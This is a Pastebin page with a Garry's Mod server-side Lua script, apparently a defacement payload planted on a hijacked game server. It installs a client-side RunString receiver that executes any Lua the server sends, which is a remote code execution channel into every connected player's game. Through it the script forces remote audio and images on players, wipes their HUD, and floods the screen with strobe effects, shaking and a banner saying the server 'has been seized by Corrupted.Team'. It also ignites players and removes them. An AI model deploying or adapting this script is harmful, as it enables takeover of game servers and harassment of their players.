API tools faq
paste
2much4Us

oof

2much4Us
May 14th, 2018
201
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.71 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99.  
  100. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
  101. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  102. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  103. LoadWebMaterial( "https://i.imgur.com/UipQttC.jpg", "doritos", 183, 256 )
  104. LoadWebMaterial( "https://i.imgur.com/UipQttC.jpg", "fedora", 256, 256 )
  105. LoadWebMaterial( "https://i.imgur.com/UipQttC.jpg", "dew", 110, 256 )
  106. LoadWebMaterial( "https://i.imgur.com/UipQttC.jpg", "awp", 256, 55 )
  107. ]=]):format(lol.m_strImageLoadHTML) )
  108. end )
  109.  
  110. --HUD swap
  111. lol:PushAction( 31, function( pPlayer )
  112. lol:SendLua( pPlayer, [[
  113. (GAMEMODE or GM).CalcView = function() end
  114. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  115.  
  116. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  117. for k, v in pairs(remove) do
  118. hook.GetTable()[v] = {}
  119. end
  120.  
  121. local function GetWebMat( strURL )
  122. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  123. end
  124.  
  125. hook.Add( "HUDPaint", "newhud", function()
  126. surface.SetDrawColor( 255, 255, 255, 255 )
  127.  
  128. if GetWebMat( "hud1" ) then
  129. surface.SetMaterial( GetWebMat("hud1")[1] )
  130. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  131. end
  132. if GetWebMat( "hud2" ) then
  133. surface.SetMaterial( GetWebMat("hud2")[1] )
  134. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  135. end
  136. if GetWebMat( "doritos" ) then
  137. surface.SetMaterial( GetWebMat("doritos")[1] )
  138. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 300 *(350 /183), 300, CurTime() *300 )
  139. end
  140. if GetWebMat( "xhair" ) then
  141. surface.SetMaterial( GetWebMat("xhair")[1] )
  142. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  143. end
  144. if GetWebMat( "dew" ) then
  145. surface.SetMaterial( GetWebMat("dew")[1] )
  146. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 300 *((350 /110) -1), 350, CurTime() *-300 )
  147. end
  148. if GetWebMat( "fedora" ) then
  149. surface.SetMaterial( GetWebMat("fedora")[1] )
  150. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 300, 300, CurTime() *-300 )
  151. end
  152. if GetWebMat( "awp" ) then
  153. surface.SetMaterial( GetWebMat("awp")[1] )
  154. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 300, 300, CurTime() *300 )
  155. end
  156.  
  157.  
  158. draw.SimpleTextOutlined(
  159. " THIS SERVER HAS BEEN MEMED BY THE CAT ARMY ",
  160. "DermaLarge",
  161. ScrW() /2 +math.random( -8, 8 ),
  162. ScrH() /2 +math.random( -8, 8 ) +64,
  163. Color( 255, 0, 0, 255 ),
  164. TEXT_ALIGN_CENTER,
  165. TEXT_ALIGN_CENTER,
  166. 3,
  167. Color( 0, 0, 0, 255 )
  168. )
  169. end )
  170.  
  171. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  172. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  173.  
  174. surface.PlaySound( "garrysmod/save_load4.wav" )
  175. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  176. ]] )
  177. end )
  178.  
  179. --Disco time
  180. lol:PushAction( 10, function( pPlayer )
  181. local idx = pPlayer:EntIndex()
  182. timer.Create( "beat".. idx, 0.42, 0, function()
  183. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  184. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  185. end )
  186.  
  187. lol:SendLua( pPlayer, [[
  188. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  189. local time = 0
  190.  
  191. hook.Add( "Think", "wat", function()
  192. if CurTime() < time then
  193. return
  194. end
  195.  
  196. time = CurTime() +0.05
  197. for i = 1, 16 do
  198. local part = emitter:Add(
  199. "particles/balloon_bit",
  200. LocalPlayer():GetPos() +Vector(
  201. math.random( -256, 256 ),
  202. math.random( -256, 256 ),
  203. 256
  204. )
  205. )
  206.  
  207. if part then
  208. local Size = math.random( 4, 7 )
  209.  
  210. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  211. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  212. part:SetDieTime( 4.5 )
  213. part:SetGravity( Vector(40, 0, -250) )
  214. part:SetLifeTime( 0 )
  215. part:SetStartSize( Size /2 )
  216. part:SetEndSize( Size )
  217. part:SetCollide( true )
  218. end
  219. end
  220. end )
  221. ]] )
  222.  
  223. lol:SendLua( pPlayer, [[
  224. hook.Add( "RenderScreenspaceEffects", "wat", function()
  225. local sinScaler = math.sin( CurTime() )
  226. DrawBloom(
  227. 0,
  228. 3,
  229. sinScaler *math.Rand(1, 8),
  230. sinScaler *math.Rand(1, 8),
  231. 6,
  232. math.Rand(0.5, 2),
  233. math.Rand(0, 0.3),
  234. math.Rand(0, 0.3),
  235. math.Rand(0.5, 1)
  236. )
  237.  
  238. DrawColorModify{
  239. ["$pp_colour_addr"] = 1,
  240. ["$pp_colour_addg"] = 0,
  241. ["$pp_colour_addb"] = 00,
  242. ["$pp_colour_brightness" ] = 0,
  243. ["$pp_colour_contrast" ] = 1,
  244. ["$pp_colour_colour" ] = 1,
  245. ["$pp_colour_mulr" ] = 0,
  246. ["$pp_colour_mulg" ] = 0,
  247. ["$pp_colour_mulb" ] = 0
  248. }
  249. end )
  250.  
  251. local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH )
  252. mdl:SetNoDraw( true )
  253. local posCache, time = {}, 0
  254.  
  255. hook.Add( "HUDPaint", "dance", function()
  256. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  257. local idx = mdl:LookupSequence("taunt_dance")
  258. mdl.SeqDuration = mdl:SequenceDuration( idx )
  259. mdl.SeqStart = CurTime()
  260. mdl:ResetSequence( idx )
  261. end
  262.  
  263. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  264.  
  265.  
  266. local w, h = 300, 300
  267. local ang = Angle( 0, 0, 0 )
  268.  
  269. for i = 1, 32 do
  270. if CurTime() > time then
  271. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  272. end
  273. local x, y = posCache[i][1], posCache[i][2]
  274.  
  275. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  276. cam.IgnoreZ( true )
  277. render.SuppressEngineLighting( true )
  278.  
  279. render.SetLightingOrigin( mdl:GetPos() )
  280. render.ResetModelLighting( 1, 1, 1 )
  281. render.SetColorModulation( 0, 0, 1 )
  282.  
  283. mdl:DrawModel()
  284.  
  285. render.SuppressEngineLighting( false )
  286. cam.IgnoreZ( false )
  287. cam.End3D()
  288. end
  289.  
  290. if CurTime() > time then
  291. time = CurTime() +0.15
  292. end
  293. end )
  294.  
  295. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  296. ]] )
  297. end )
  298.  
  299. --Let the beat drop
  300. lol:PushAction( 54, function( pPlayer )
  301. lol:SendLua( pPlayer, [[
  302. hook.Add( "GetMotionBlurValues", "wat", function()
  303. return 0, 0, 1, math.sin(CurTime() *13)
  304. end )
  305.  
  306. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  307. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  308. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  309. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  310. end )
  311.  
  312. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  313. render.SetMaterial( Material("cable/blue_elec") )
  314. for i = 1, 32 do
  315. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  316. end
  317. end )
  318.  
  319. timer.Create( "thedrop", 0.42, 0, function()
  320. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  321. end )
  322. ]] )
  323. end )
  324.  
  325. --EVIL TIME rip headpones
  326. lol:PushAction( 175, function( pPlayer )
  327. lol:SendLua( pPlayer, [[
  328. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  329.  
  330. local sounds = {}
  331. for i = 1, 4 do
  332. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  333. sounds[#sounds +1] = pChan
  334. end )
  335. end
  336.  
  337. timer.Create( "asdf", 1, 0, function()
  338. if #sounds ~= 4 then return end
  339. timer.Destroy( "asdf" )
  340. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  341. end )
  342.  
  343. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("http://zimb.club/zimb/disco2.gif")
  344. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("http://zimb.club/zimb/disco2.gif")
  345. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  346. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  347. local newsPan1 = vgui.Create("DPanel")
  348. newsPan1:SetSize(ScrW(), 150)
  349. newsPan1:SetPos(0, ScrH()-150)
  350. newsPan1.Paint = function()
  351. surface.SetDrawColor(255,255,255,255)
  352. surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
  353. surface.SetDrawColor(190,10,10,255)
  354. surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
  355. end
  356. local newsPan2 = vgui.Create("DPanel")
  357. newsPan2:SetSize(ScrW(),ScrH())
  358. newsPan2:SetPos(0,0)
  359. newsPan2.Paint = function()
  360. local trap3 = {
  361. {x = ScrW()-504, y = ScrH()-150},
  362. {x = ScrW()-439, y = ScrH()-254},
  363. {x = ScrW(), y = ScrH()-254},
  364. {x = ScrW(), y = ScrH()-150},
  365. }
  366. local trap4 = {
  367. {x = ScrW()-500, y = ScrH()-146},
  368. {x = ScrW()-435, y = ScrH()-250},
  369. {x = ScrW(), y = ScrH()-250},
  370. {x = ScrW(), y = ScrH()-146},
  371. }
  372. local trap5 = {
  373. {x = ScrW()-475, y = ScrH()-156},
  374. {x = ScrW()-432, y = ScrH()-235},
  375. {x = ScrW()-8, y = ScrH()-235},
  376. {x = ScrW()-8, y = ScrH()-156},
  377. }
  378. draw.NoTexture()
  379. surface.SetDrawColor(255,255,255,255)
  380. surface.DrawPoly(trap3)
  381. draw.NoTexture()
  382. surface.SetDrawColor(200,20,20,255)
  383. surface.DrawPoly(trap4)
  384. draw.NoTexture()
  385. surface.SetDrawColor(190,10,10,180)
  386. surface.DrawPoly(trap5)
  387. end
  388. local title2 = vgui.Create("DLabel", newsPan2)
  389. title2:SetFont("NEWS1")
  390. title2:SetText("Gmod News")
  391. title2:SizeToContents()
  392. title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
  393. title2:SetColor(Color(255,255,255))
  394.  
  395. local title3 = vgui.Create("DLabel", newsPan1)
  396. title3:SetFont("NEWS2")
  397. title3:SetText("Breaking News This Server Has Been Seized By Corrupted.Team")
  398. title3:SizeToContents()
  399. title3:SetPos(ScrW(), 10)
  400. title3:SetColor(Color(255,255,255))
  401. timer.Create("movingtext2",.05,0,function()
  402. if title3:GetPos() >= 0-title3:GetWide() then
  403. title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
  404. else
  405. title3:SetPos(ScrW(),10)
  406. end
  407. end)
  408.  
  409. surface.CreateFont( "SPAM", {font = "Arial",size = 55,weight = 2000,})
  410. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("http://zimb.club/zimb/disco2.gif")
  411. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("http://zimb.club/zimb/disco2.gif")
  412. hook.Add( "HUDPaint", "Lines", function()
  413. local center = Vector(ScrW()/2, ScrH()/2, 0)
  414. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 5 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  415. for i = 1,32 do surface.DrawLine(center.x,center.y, math.random(0,ScrW()), math.random(0,ScrH())) end
  416. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 3 * 500 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  417. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  418. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 7 * 150 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  419. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  420. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 15 * 125 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  421. for i = 1,32 do surface.DrawLine(ScrW(),1, math.random(0,ScrW()), math.random(0,ScrH())) end
  422. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 25 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  423. for i = 1,32 do surface.DrawLine(1,ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  424. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 40 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  425. for i = 1,32 do surface.DrawLine(ScrW(),ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  426. local col = 100 for i=0, col, 1 do rainbow = HSVToColor(CurTime() % 5 * 150 + i,1,1) end
  427. local col = 100 for i=0, col, 1 do r = HSVToColor(CurTime() % 30 * 150 + i,1,1) end
  428. for i = 1,32 do draw.SimpleTextOutlined("CORRUPTED.TEAM","SPAM",math.random(0,ScrW()-35), math.random(0,ScrH()-1),Color(rainbow.r,rainbow.g,rainbow.b),TEXT_ALIGN_CENTER,TEXT_ALIGN_TOP,3,Color(math.random(1,255),math.random(1,255),math.random(1,255))) end
  429. end)
  430.  
  431. ]] )
  432. pPlayer:Remove()
  433. end )
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!